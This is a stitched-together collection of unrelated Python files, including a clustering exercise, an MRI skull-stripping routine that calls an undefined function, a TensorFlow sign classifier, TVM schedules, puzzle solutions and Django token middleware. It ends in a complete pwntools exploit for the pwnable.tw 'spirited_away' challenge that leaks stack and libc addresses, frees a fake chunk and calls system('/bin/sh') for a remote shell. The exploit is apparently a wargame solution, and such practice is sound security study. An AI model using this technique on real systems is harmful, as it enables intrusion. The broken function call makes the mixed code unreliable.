                        closer_r1_cluster_b.append(point)
                else:
                    if point in a_transposed:
                        closer_r2_cluster_a.append(point)
                    elif point in b_transposed:
                        closer_r2_cluster_b.append(point)
        r1 = r1 + (alpha/1000)*d1
        r2 = r2 + (alpha / 1000) * d2
        r1_List.append((r1[0], r1[1]))
        r2_List.append((r2[0], r2[1]))
    closer_r1_cluster_a_transposed= np.asarray(closer_r1_cluster_a).T
    closer_r1_cluster_b_transposed= np.asarray(closer_r1_cluster_b).T
    closer_r2_cluster_a_transposed= np.asarray(closer_r2_cluster_a).T
    closer_r2_cluster_b_transposed= np.asarray(closer_r2_cluster_b).T

    if closer_r1_cluster_a_transposed.size > 0:
        plt.scatter(closer_r1_cluster_a_transposed[0], closer_r1_cluster_a_transposed[1], label="closer-r1-cluster-a",alpha=0.1)
    if closer_r1_cluster_b_transposed.size>0:
        plt.scatter(closer_r1_cluster_b_transposed[0], closer_r1_cluster_b_transposed[1], label="closer-r1-cluster-b",alpha=0.1)
    if closer_r2_cluster_a_transposed.size>0:
        plt.scatter(closer_r2_cluster_a_transposed[0], closer_r2_cluster_a_transposed[1], label="closer-r2-cluster-a",alpha=0.1)
    if closer_r2_cluster_b_transposed.size>0:
        plt.scatter(closer_r2_cluster_b_transposed[0], closer_r2_cluster_b_transposed[1], label="closer-r2-cluster-b",alpha=0.1)

    plt.scatter(r1[0],r1[1],label="R1")
    plt.scatter(r2[0],r2[1],label="R2")

    plt.legend(loc=2, prop={'size': 6})
    plt.axis('equal')
    #plt.show()

def ex2_c():
    number_of_experiments = 9
    grid: int = int(math.sqrt(number_of_experiments))
    for i in range(number_of_experiments):
        plt.subplot(grid, grid, i + 1)
        ex2_b()
    plt.tight_layout()
    plt.show()

if __name__ == '__main__':
    #ex2_a()
    #ex2_b()
    ex2_c()


"""
SCC0276 — Machine Learning

Project: Alzheimer disease detection

Authors:
- Alice Valença De Lorenci - 11200289
- Gabriel Soares Gama - 10716511
- Marcos Antonio Victor Arce - 10684621

The following code was reproduced from:
    https://github.com/KaueTND/Brain_Extraction_T1wMRI/blob/main/Workflow_jupyter.ipynb
"""

# libraries
from PIL import Image
from scipy import signal as sci
import numpy as np
import matplotlib.pyplot as plt
from scipy.ndimage.morphology import binary_fill_holes, binary_opening
import matplotlib.image as mpimg
from skimage import morphology as morph
from scipy import ndimage as nd
import sys, os
from skimage.filters import (
    threshold_otsu,
    threshold_isodata,
    threshold_li,
    threshold_local,
    threshold_minimum,
)
from skimage import feature
from skimage.filters import threshold_local as threshold_adaptative
import heapq
import matplotlib.patches as mpatches
from skimage.morphology import convex_hull_image
import pandas as pd
import seaborn as sns
from scipy.signal import convolve2d as sc_conv
from matplotlib.colors import colorConverter
import matplotlib as mpl
import time
import cv2 as cv

def save_without_spacing(nome, fig):
    import matplotlib.pyplot as plt
    from matplotlib.ticker import NullLocator

    plt.gca().set_axis_off()
    plt.subplots_adjust(top=1, bottom=0, right=1, left=0, hspace=0, wspace=0)
    plt.margins(0, 0)
    plt.gca().xaxis.set_major_locator(NullLocator())
    plt.gca().yaxis.set_major_locator(NullLocator())
    plt.savefig(nome, bbox_inches="tight", pad_inches=0, dpi=fig.dpi)

# remove background noise
def remove_ruido_fundo(imagem, Ti=0):
    if Ti == 0:
        Ti = np.mean(imagem)
    imagem_filtrada = sci.medfilt(imagem, [3, 3])
    ti = imagem_filtrada > Ti
    mascara = binary_fill_holes(ti)

    return [Ti, imagem * mascara]

# adjust contrast
def ajuste_contraste(img):
    A = img
    L = np.max(A.ravel())
    B = (L - 1) - A
    SE1 = morph.ball(3)[3]
    C = morph.closing(B, SE1)
    L = np.max(C.ravel())
    D = (L - 1) - C
    Adiff = A - D
    return np.clip(A + Adiff, 0, 255)

# image binarization, used to find conex components
def binariza(imagem, Cerebro=True):
    if Cerebro:
        t = threshold_otsu(imagem)
    else:  # Crânio
        t = 0
    imagem_binaria = imagem.copy()
    imagem_binaria[imagem_binaria <= t] = 0
    imagem_binaria[imagem_binaria > t] = 1
    return imagem_binaria

# detect connected component border
def detecta_borda_conexa(imagem_binaria):
    cranio_convexo = convex_hull_image(binary_fill_holes(imagem_binaria))  # preenche a imagem
    borda_cranio = feature.canny(cranio_convexo)  # extrai a borda
    return borda_cranio

# detect connected component
def detecta_componente_conexa(imagem_binaria, mostrar_Passos=False):
    label_aux = morph.label(imagem_binaria)
    label_ret = morph.label(imagem_binaria)
    if mostrar_Passos == True:
        plt.figure()
        plt.subplot(121)
        plt.imshow(label_ret, "flag")
        # plt.title('Componentes Conexas(Labels)')
        # save_without_spacing("TrabalhoMeninge_7_"+str(0)+"comp.png")
    valor_disco = 0

    # Passo 1 - Detecção da Borda do Crânio via Canny
    contorno_cranio_binario = detecta_borda_conexa(imagem_binaria)
    if mostrar_Passos == True:
        plt.subplot(122)
        plt.imshow(contorno_cranio_binario, "gray")
        plt.title("Detecção Borda Canny")
        plt.figure()

    # Passo 2 - Detecção da Tonalidade do Fundo
    tonalidade_fundo = np.argmax(np.bincount(label_ret[0:20, 0:20].ravel()))
    for ab in range(10):
        # print(ab)
        contorno_cranio = label_ret[contorno_cranio_binario == True]
        [IMX, IMY] = imagem_binaria.shape

        # Passo 3 - Detecção da Parte Central do Cérebro (sem fundo)
        array_centro = label_ret[IMX // 2 - 25 : IMX // 2 + 25, IMY // 2 - 25 : IMY // 2 + 25]
        array_centro = array_centro[array_centro != tonalidade_fundo]
        max_centro = np.argmax(
            np.bincount(array_centro.ravel())
        )  # retorna o pixel mais frequente na imagem array_centro, correspondendo ao valor do cérebro

        # Passo 4 - Verificação da Presença da Intensidade da Borda no Centro
        if max_centro in contorno_cranio:
            valor_disco = valor_disco + 1
            label_ret = morph.opening(label_aux, morph.disk(valor_disco))
            label_ret = morph.label(label_ret)
            # plt.imshow(label_ret)
            # save_without_spacing("TrabalhoMeninge_7_"+str(valor_disco)+"comp.png")
        else:
            break

    # print(valor_disco)
    if valor_disco == 0:
        label_ret = label_aux
    return [label_ret, tonalidade_fundo, array_centro]

# extract connected component
def extrai_maior_componente(LC, tonalidade_fundo, array_centro=0, mostrar_Passos=False):
    # print(type(array_centro))
    c1 = LC.copy()

    if mostrar_Passos == True:
        plt.figure(figsize=(8, 8))
        plt.subplot(121)
        plt.imshow(c1, "gray")
        plt.axis("off")
        plt.title("Componentes Conexas")
    hist = np.bincount(LC.ravel())
    index = heapq.nlargest(1, range(len(hist)), key=hist.__getitem__)[-1]

    # Se a maior componente conexa for o fundo, pegue a segunda maior componente
    if index == tonalidade_fundo:
        index = heapq.nlargest(2, range(len(hist)), key=hist.__getitem__)[-1]

    # Rerotulação das componentes conexas baseado na ocorrencia de pixels no centro
    if type(array_centro) == np.ndarray:
        matriz_substituicao = np.isin(c1, np.unique(array_centro[array_centro != tonalidade_fundo]))
        c1_k = convex_hull_image(matriz_substituicao)
        if mostrar_Passos == True:
            plt.figure()
            plt.imshow(matriz_substituicao, "gray")
            plt.axis("off")
            # plt.title('Agrupamento Conexo')
            # save_without_spacing("TrabalhoMeninge_8_Agrupamento.png")
        return [matriz_substituicao, c1_k]
        # c1[matriz_substituicao] = index

    c1[c1 == index] = 1000
    c1[c1 < 1000] = 0
    c1[c1 == 1000] = 1
    c1_k = convex_hull_image(c1)
    return [c1, c1_k]

# apply skull stripping flow
def skullStripping(im1):
    """
    Arguments:
    - im1: original png image (array format)

    Return:
    - img: skull stripped image
    """
    # im1 = Image.open(fileName)
    img = np.array(im1)
    ruido = three_segments(220, 240, 50, 210)
    ruido = ruido[::-1]
    [media, img] = remove_ruido_fundo(img)
    Aenhanced = ajuste_contraste(img)
    Gbin = binariza(Aenhanced)
    [LC, tonalidade_fundo, array_centro] = detecta_componente_conexa(Gbin, False)
    [c1, c1_k] = extrai_maior_componente(LC, tonalidade_fundo, array_centro, False)

    img = img * c1_k

    return img


import tensorflow as tf
import numpy as np
from tensorflow.python.framework import graph_util
from tensorflow.python.framework import graph_io
from readTrafficSigns import readTrafficSigns
import argparse
import os
from sklearn.utils import shuffle

parser = argparse.ArgumentParser()
parser.add_argument("--epochs", type=int, default=20)
parser.add_argument("--path", default=os.path.join("/home", "jsmith", "GTSRB"))
parser.add_argument('--batch_size', type=int, default=50)
parser.add_argument('--width', type=int, default=50)
parser.add_argument('--height', type=int, default=50)
parser.add_argument('--output', default="gtsrb_gradient.pb")
args = parser.parse_args()

tf.reset_default_graph()

x_train, y_train, x_test, y_test = readTrafficSigns(args.path, (args.width, args.height))
x_train = x_train.astype('float32')/255.0
x_test = x_test.astype('float32')/255.0

num_classes = len(np.unique(y_train))
y_train = tf.keras.utils.to_categorical(y_train, num_classes)
y_test = tf.keras.utils.to_categorical(y_test, num_classes)

x_train, y_train = shuffle(x_train, y_train, random_state=0)
x_test, y_test = shuffle(x_test, y_test, random_state=0)

input_shape = (None,) + x_train.shape[1:]
print(input_shape)
label_shape = (None, num_classes)
print(label_shape)

input_layer = tf.placeholder(tf.float32, shape=input_shape, name='input_layer_x')

label_layer = tf.placeholder(tf.float32, shape=label_shape, name='label_layer_y')

label_layer = tf.stop_gradient(label_layer, name="stopped_gradient_label")

conv1 = tf.layers.conv2d(
        inputs=input_layer,
        filters=64,
        kernel_size=[5, 5],
        padding="same",
        activation=tf.nn.relu,
        name='conv_1')

pool1 = tf.layers.max_pooling2d(inputs=conv1, pool_size=[2, 2], strides=2, name='pool_1')

conv2 = tf.layers.conv2d(
        inputs=pool1,
        filters=128,
        kernel_size=[3, 3],
        padding="same",
        activation=tf.nn.relu,
        name='conv_2')

pool2 = tf.layers.max_pooling2d(inputs=conv2, pool_size=[2, 2], strides=2, name='pool_2')

conv3 = tf.layers.conv2d(
        inputs=pool2,
        filters=256,
        kernel_size=[3, 3],
        padding="same",
        activation=tf.nn.relu,
        name='conv_3')

pool3 = tf.layers.max_pooling2d(inputs=conv3, pool_size=[2, 2], strides=2, name='pool_3')

flat_shape = [-1] + [np.prod(pool3.shape[1:])]
flattened = tf.reshape(pool3, flat_shape, name='flattened')

dense = tf.layers.dense(
        inputs=flattened, units=1024, activation=tf.nn.relu, name='dense_1')

logits = tf.layers.dense(inputs=dense, units=num_classes, name='logits')
classes = tf.argmax(input=logits, axis=1, name='classes')
probabilities = tf.nn.softmax(logits, name="probabilities_out")
loss = tf.nn.softmax_cross_entropy_with_logits(labels=label_layer, logits=logits, name='loss_func')
grad = tf.gradients(loss, input_layer)
grad_out = tf.identity(grad, name='gradient_out')

optimizer = tf.train.AdamOptimizer()
train_op = optimizer.minimize(loss)
correct = tf.nn.in_top_k(logits, tf.argmax(label_layer, axis=1), 1)
accuracy = tf.reduce_mean(tf.cast(correct, tf.float32))

init = tf.global_variables_initializer()
with tf.Session() as sess:
    init.run()
    for epoch in range(args.epochs):
        print('Epoch: {}'.format(epoch))
        for i in range(x_train.shape[0] // args.batch_size):
            batch_indices = np.random.randint(
                    x_train.shape[0], size=args.batch_size)
            x_batch = x_train[batch_indices]
            y_batch = y_train[batch_indices]
            sess.run(train_op, feed_dict={
                input_layer: x_batch, label_layer: y_batch})
        acc_test = accuracy.eval(feed_dict={
            input_layer: x_test, label_layer: y_test})
        #acc_train = accuracy.eval(feed_dict={
            #input_layer: x_train, label_layer: y_train})
        print("Test accuracy:", acc_test)
        #print("Train accuracy:", acc_train)

    constant_graph = graph_util.convert_variables_to_constants(
            sess,
            sess.graph.as_graph_def(),
            ['probabilities_out', 'gradient_out'])

    graph_io.write_graph(constant_graph, '.', args.output, as_text=False)


DEFAULT_BGS_LIMIT = -0.02  # maximum allowed background settlement
DEFAULT_SWELL_LIMIT = 0.0  # maximum allowed swell

STRICT_OFFSET_WATER = (
    0  # hoeveel meter van het referentiepunt richting de boezem in de strikte methode
)
STRICT_OFFSET_POLDER = (
    1.5  # hoeveel meter van het referentiepunt richting de polder in de strikte methode
)

LEGGERPROFIEL_OFFSET_WATER = 10  # hoeveel meter van het referentiepunt richting de boezem in de leggerprofiel methode
LEGGERPROFIEL_OFFSET_POLDER = 20  # hoeveel meter van het referentiepunt richting de polder in de leggerprofiel methode


import os
import sys, getopt, optparse
import pickle
sys.path.insert(0, '../')
import tensorflow as tf
import numpy as np

from ngclearn.utils.config import Config
from ngclearn.density.gmm import GMM
import ngclearn.utils.transform_utils as transform
import ngclearn.utils.stat_utils as stat
import ngclearn.utils.metric_utils as metric
import ngclearn.utils.io_utils as io_utils
from ngclearn.utils.data_utils import DataLoader

"""
################################################################################
Walkthrough #1 File:
Fitting a Gaussian mixture density/prior to a collected latent variable dataset,
i.e., latent vector codes extracted from a (pre-)trained NGC model.

Usage:
$ python fit_gmm.py --config=/path/to/analyze.cfg --gpu_id=0

@author Alexander Ororbia
################################################################################
"""

# GPU arguments
# read in configuration file and extract necessary variables/constants
options, remainder = getopt.getopt(sys.argv[1:], '', ["config=","gpu_id="])
# Collect arguments from argv
cfg_fname = None
use_gpu = False
gpu_id = -1
latents_fname =None
labels_fname =None
gmm_fname = None
for opt, arg in options:
    if opt in ("--config"):
        cfg_fname = arg.strip()
    elif opt in ("--gpu_id"):
        gpu_id = int(arg.strip())
        use_gpu = True

mid = gpu_id
if mid >= 0:
    print(" > Using GPU ID {0}".format(mid))
    os.environ["CUDA_VISIBLE_DEVICES"]="{0}".format(mid)
    gpu_tag = '/GPU:0'
else:
    os.environ["CUDA_VISIBLE_DEVICES"]="-1"
    gpu_tag = '/CPU:0'

args = None
if cfg_fname is not None:
    args = Config(cfg_fname)
    gmm_fname = args.getArg("gmm_fname") #"../models/pc_rao/mnist/gmm.pkl"
    latents_fname = args.getArg("latents_fname")
    labels_fname = args.getArg("labels_fname")

def sort_data_by_label(X, Y):
    lab_map = {}
    lab = tf.argmax(Y,axis=1)
    #print(lab.shape)
    for s in range(X.shape[0]):
        xs = tf.expand_dims(X[s,:],axis=0)
        ys = int(lab[s])
        blob = lab_map.get(ys)
        if blob is not None:
            blob = tf.concat([blob,xs],axis=0) #blob + xs
            lab_map[ys] = blob
        else:
            lab_map[ys] = xs
    return lab_map

#delimiter = "\t"
n_subset = 18000 #20000 #50000
with tf.device(gpu_tag):
    Y = None
    if labels_fname is not None:
        Y = np.load(labels_fname)
        Y = tf.cast(Y,dtype=tf.float32)
    z_lat = np.load(latents_fname)

    if Y is not None and n_subset < z_lat.shape[0]:
        print("original z_lat.shape = ",z_lat.shape)
        print("              Y.shape = ",Y.shape)
        print(" Label Reduction!")
        n_part = int(n_subset/Y.shape[1])
        print(" Subset.n_batch = ",n_part)
        data_map = sort_data_by_label(z_lat,Y)
        z_lat = None
        for c in range(Y.shape[1]):
            z_sub = data_map.get(c).numpy()
            ptrs = np.random.permutation(z_sub.shape[0])
            ptrs = ptrs[0:n_part]
            z_sub = tf.cast(z_sub[ptrs,:],dtype=tf.float32)
            if z_lat is not None:
                z_lat = tf.concat([z_lat,z_sub],axis=0)
            else:
                z_lat = z_sub
    else:
        if n_subset > 0:
            ptrs = np.random.permutation(z_lat.shape[0])[0:n_subset]
            z_lat = z_lat[ptrs,:]
        z_lat = tf.cast(z_lat,dtype=tf.float32)

    print("z_lat.shape = ",z_lat.shape)

    max_w = -10000.0
    min_w = 10000.0
    max_w = max(max_w, float(tf.reduce_max(z_lat)))
    min_w = min(min_w, float(tf.reduce_min(z_lat)))
    print("max_z = ", max_w)
    print("min_z = ", min_w)

    print(" > Estimating latent density...")
    n_comp = 75
    lat_density = GMM(k=n_comp)
    lat_density.fit(z_lat)

    print(" > Saving density estimator to: {0}".format("gmm.pkl"))
    fd = open("{0}".format(gmm_fname), 'wb')
    pickle.dump(lat_density, fd)
    fd.close()


# https://www.acmicpc.net/problem/2667

import sys
input = sys.stdin.readline

N = int(input())

arr = [list(map(int, input().rstrip())) for _ in range(N)]
answer = []

def dfs(r, c):
    result = 1

    for dr, dc in ((0, 1), (0, -1), (1, 0), (-1, 0)):
        nr, nc = r + dr, c + dc
        if nr < 0 or nr >= N or nc < 0 or nc >= N or (not arr[nr][nc]): continue
        arr[nr][nc] = False
        result += dfs(nr, nc)

    return result

for i in range(N):
    for j in range(N):
        if not arr[i][j]: continue
        arr[i][j] = False
        answer.append(dfs(i, j))

print(len(answer))
print(*sorted(answer), sep = '\n')


from tvm import te
from tvm import autotvm
from tvm.autotvm.task.space import SplitEntity
from tvm.contrib import cblas
from .. import generic
from ..util import traverse_inline, get_const_tuple, get_max_power2_factor

@autotvm.register_topi_compute("batch_matmul.x86")
def batch_matmul(cfg, x, y, out_shape=None):
    """Computes batch matrix multiplication of `x` and `y` when `x` and `y` are
    data in batch. Supports broadcasting in batch dimension.

    Parameters
    ----------
    cfg : ConfigSpace
        Autotvm tuning space config file
    x : tvm.te.Tensor
        3-D with shape [batch, M, K]
    y : tvm.te.Tensor
        3-D with shape [batch, N, K]
    Returns
    -------
    output : tvm.te.Tensor
        3-D with shape [batch, M, N]
    """
    assert len(x.shape) == 3 and len(y.shape) == 3, "only support 3-dim batch_matmul"
    XB, M, XK = get_const_tuple(x.shape)
    YB, N, YK = get_const_tuple(y.shape)
    assert (XB == YB) or (YB == 1) or (XB == 1), "batch dimension doesn't match"
    assert XK == YK, "shapes of x and y is inconsistant"
    B = max(XB, YB)
    K = XK
    if out_shape is not None:
        assert out_shape[0] == B, "got invalid output shape"
        assert out_shape[1] == M, "got invalid output shape"
        assert out_shape[2] == N, "got invalid output shape"
    if cfg.is_fallback:
        _default_batch_matmul_config(cfg, M, N, K)

    k = te.reduce_axis((0, K), name="k")
    C = te.compute(
        (B, M, N),
        lambda b, i, j: te.sum(x[b if XB != 1 else 0, i, k] * y[b if YB != 1 else 0, j, k], axis=k),
        tag="batch_matmul",
    )
    return C

@autotvm.register_topi_schedule("batch_matmul.x86")
def schedule_batch_matmul(cfg, outs):
    """Schedule for batch_matmul

    Parameters
    ----------
    cfg : ConfigSpace
        AutoTVM tuning space config file.
    outs : Array of Tensor
        The computation graph description of batch_matmul
        in the format of an array of tensors.

    Returns
    -------
    sch: Schedule
        The computation schedule for the op.
    """
    s = te.create_schedule([x.op for x in outs])

    def _callback(op):
        if "batch_matmul" in op.tag:
            C = op.output(0)
            A, B = op.input_tensors
            _, M, K = get_const_tuple(A.shape)
            _, _, N = get_const_tuple(C.shape)

            if op not in s.outputs:
                s[C].compute_inline()
                O = outs[0]
            else:
                O = C

            CC = s.cache_write(C, "global")

            # create tuning space
            cfg.define_split("tile_y", M, num_outputs=2)
            cfg.define_split("tile_x", N, num_outputs=2)
            cfg.define_split("tile_k", K, num_outputs=2)

            b, y, x = s[O].op.axis
            yo, yi = cfg["tile_y"].apply(s, O, y)
            xo, xi = cfg["tile_x"].apply(s, O, x)
            s[O].reorder(b, yo, xo, yi, xi)
            bxyo = s[O].fuse(b, yo, xo)
            s[O].parallel(bxyo)

            s[CC].compute_at(s[O], bxyo)
            (k,) = s[CC].op.reduce_axis
            ko, ki = cfg["tile_k"].apply(s, CC, k)

            Crf = s.rfactor(CC, ki)
            s[Crf].compute_at(s[CC], s[CC].op.axis[0])
            _, _, y, x = s[Crf].op.axis
            s[Crf].fuse(y, x)
            s[Crf].vectorize(s[Crf].op.axis[0])
            s[O].pragma(bxyo, "auto_unroll_max_step", 16)

    traverse_inline(s, outs[0].op, _callback)
    return s

def _default_batch_matmul_config(cfg, M, N, K):
    cfg["tile_k"] = SplitEntity([K // 16, 16])
    x_bn = get_max_power2_factor(N, 8)
    cfg["tile_x"] = SplitEntity([N // x_bn, x_bn])
    y_bn = get_max_power2_factor(M, 8)
    cfg["tile_y"] = SplitEntity([M // y_bn, y_bn])

@autotvm.register_topi_compute("batch_matmul_cblas.x86")
def batch_matmul_cblas(cfg, x, y):
    """Computes batch matrix multiplication of `x` and `y` when `x` and `y` are
    data in batch.

    Parameters
    ----------
    cfg : ConfigSpace
        Autotvm tuning space config file
    x : tvm.te.Tensor
        3-D with shape [batch, M, K]
    y : tvm.te.Tensor
        3-D with shape [batch, N, K]
    Returns
    -------
    output : tvm.te.Tensor
        3-D with shape [batch, M, N]
    """
    assert len(x.shape) == 3 and len(y.shape) == 3, "only support 3-dim batch_matmul"
    XB, M, XK = get_const_tuple(x.shape)
    YB, N, YK = get_const_tuple(y.shape)
    assert XB == YB, "batch dimension doesn't match"
    assert XK == YK, "shapes of x and y is inconsistant"
    cfg.add_flop(XB * M * N * XK * 2)
    return cblas.batch_matmul(x, y, False, True)

@autotvm.register_topi_schedule("batch_matmul_cblas.x86")
def schedule_batch_matmul_cblas(_, outs):
    return generic.schedule_extern(outs)


class Solution(object):
    def makeGood(self, s):
        """
        :type s: str
        :rtype: str
        """
        res=[]
        for i in s:
            if res and res[-1].isupper() and res[-1].lower()==i:#check for small character
                res.pop()
            elif res and res[-1].islower() and res[-1].upper()==i:#check for capital letter
                res.pop()
            else:
                res.append(i)
        return ''.join(res)


# This Source Code Form is subject to the terms of the Mozilla Public
# License, v. 2.0. If a copy of the MPL was not distributed with this
# file, You can obtain one at https://mozilla.org/MPL/2.0/.

import json
from functools import partial

from django.contrib import auth
from django.core.exceptions import ImproperlyConfigured
from django import http

from crashstats.tokens import models

def json_forbidden_response(msg):
    body = json.dumps({"error": msg})
    return http.HttpResponseForbidden(
        body + "\n", content_type="application/json; charset=UTF-8"
    )

def has_perm(all, codename, obj=None):
    codename = codename.split(".", 1)[1]
    return all.filter(codename=codename).count()

class APIAuthenticationMiddleware:
    def __init__(self, get_response):
        self.get_response = get_response

    def __call__(self, request):
        response = self.process_request(request)
        if not response:
            response = self.get_response(request)
        return response

    def process_request(self, request):
        # AuthenticationMiddleware is required so that request.user exists.
        if not hasattr(request, "user"):
            raise ImproperlyConfigured(
                "The API Authenication middleware requires the "
                "authentication middleware to be installed. Edit your "
                "MIDDLEWARE setting to insert "
                "'django.contrib.auth.middleware.AuthenticationMiddleware' "
                "before the RemoteUserMiddleware class."
            )

        key = request.headers.get("Auth-Token")
        if not key:
            return

        try:
            token = models.Token.objects.select_related("user").get(key=key)
            if token.is_expired:
                return json_forbidden_response("API Token found but expired")
        except models.Token.DoesNotExist:
            return json_forbidden_response("API Token not matched")

        user = token.user

        if not user.is_active:
            return json_forbidden_response("User of API token not active")

        # it actually doesn't matter so much which backend
        # we use as long as it's something
        user.backend = "django.contrib.auth.backends.ModelBackend"
        user.has_perm = partial(has_perm, token.permissions.all())
        user.token_login = True
        # User is valid. Set request.user and persist user in the session
        # by logging the user in.
        request.user = user
        auth.login(request, user)

        # For an API request, we don't want mere logging in to trigger saving of a
        # session.
        request.session.modified = False


from pwn import *

context.log_level = 'debug'
context.arch = "i386"
context.terminal = ["tmux","splitw","-h"]

def Name(io,name):
    io.sendafter(b"Please enter your name: ", name)

def Age(io,age):
    io.sendlineafter(b"Please enter your age: ",str(age).encode())

def Reason(io,reason):
    io.sendafter(b"Why did you came to see this movie? ",reason)

def Comment(io,comm):
    io.sendafter(b"Please enter your comment: ", comm )

def Continue(io,ch):
    io.sendafter(b"Would you like to leave another comment? <y/n>: ", ch)

def make_overflow(io):
    for i in range(110):
        if i >= 10 and i<100:
            Name(io,b"")
        else:
            Name(io,b"a")
        Age(io,i+1)
        Reason(io,b"null")
        Comment(io,b"dull")
        Continue(io,b"y")
    # nbtytes overflowed to 110

def leak_stack(io):
    Name(io,b"Overflow comment")
    Age(io,114514)
    Reason(io,b"a"*80)
    Comment(io,b"dull")
    io.recvuntil(b"Reason: ")
    main_ebp = u32(io.recvline().strip(b"\n")[80:84])
    survey_ebp = main_ebp & 0xFFFFFFF0
    survey_ebp-= 0x10
    survey_ebp-= 8
    success("leak ebp at:"+hex(survey_ebp))
    Continue(io,b"y")
    return survey_ebp,main_ebp

    # Fake chunk
    # fake_chunk = p32(0o21)+p32(0o71)+b"a"*0o60           # remain 0o20
    # fake_chunk+= p32(0o71)+p32(0o21)+b"b"*0o10           # remain 0o10
    # fake_chunk+= p32(0o21)+p32(0o21)
    # assert len(fake_chunk) <= 80
    # Reason(io,fake_chunk)
    # # Set name to
    # Comment(io,b"a"*80+p32(514114)+p32(0x804A060))

def free_fake_chunk(io,survey_ebp):
    Name(io,b"free fake_chunk")
    Age(io,18)
    # Fake chunk
    fake_chunk = p32(0o21)+p32(0o101)+b"this is a fake chunk".ljust(0o70,b".")           # remain 0o20
    fake_chunk+= p32(0o101)+p32(0o11)                     # remain 0o10
    fake_chunk+= p32(0o11)+p32(0o21)
    assert len(fake_chunk) <= 80
    Reason(io,fake_chunk)
    # Set name to
    Comment(io,b"a"*80+p32(514114)+p32(survey_ebp-80+8))
    Continue(io,b"y")

def leak_libc(io,survey_ebp,main_ebp,_bin:ELF):
    Name(io, b"a"*72 + p32(main_ebp) + p32(_bin.plt["puts"]) + p32(_bin.sym['main']) + p32(_bin.got["puts"]))
    Age(io,1)
    Reason(io,b"A")
    Comment(io,b"A")
    Continue(io,b"N")
    io.recvuntil(b"Bye!\n")
    puts_addr = u32(io.recvline()[:4])
    return puts_addr

def hack(io,survey_ebp, main_ebp, libc):
    Name(io, b"a"*72 + p32(main_ebp) + p32(libc.sym["system"]) + b"aaaa" + p32(survey_ebp+16) + b"/bin/sh\0")
    Age(io,1)
    Reason(io,b"A")
    Comment(io,b"A")
    Continue(io,b"N")

DEBUG = False

"""
1. set cnt>=100
2. overflow nbytes='n' (110)
3. overflow comment, to set name = reason
4. create fake chunk at reason
"""

if __name__ == '__main__':
    if DEBUG:
        io = process("./spirited_away")
    else:
        io = remote("chall.pwnable.tw",10204)
    _bin = ELF("./spirited_away")
    libc = ELF("libc_32.so.6")
    info("Making overflow ... ")
    make_overflow(io)
    survey_ebp,main_ebp = leak_stack(io)
    free_fake_chunk(io,survey_ebp)

    libc.address = leak_libc(io,survey_ebp,main_ebp,_bin) - libc.sym["puts"]
    success("Leaked libc at :"+hex(libc.address))

    info("Retry leak stack and free fake chunk")

    Name(io,b"b")
    Age(io,1)
    Reason(io,b"a")
    Comment(io,b"a")
    Continue(io,b"y")

    survey_ebp,main_ebp = leak_stack(io)
    success("leak stack at : "+hex(survey_ebp))
    free_fake_chunk(io,survey_ebp)
    hack(io,survey_ebp,main_ebp,libc)
    # gdb.attach(io,gdbscript="b *0x80488CE\nc\n")
    io.interactive()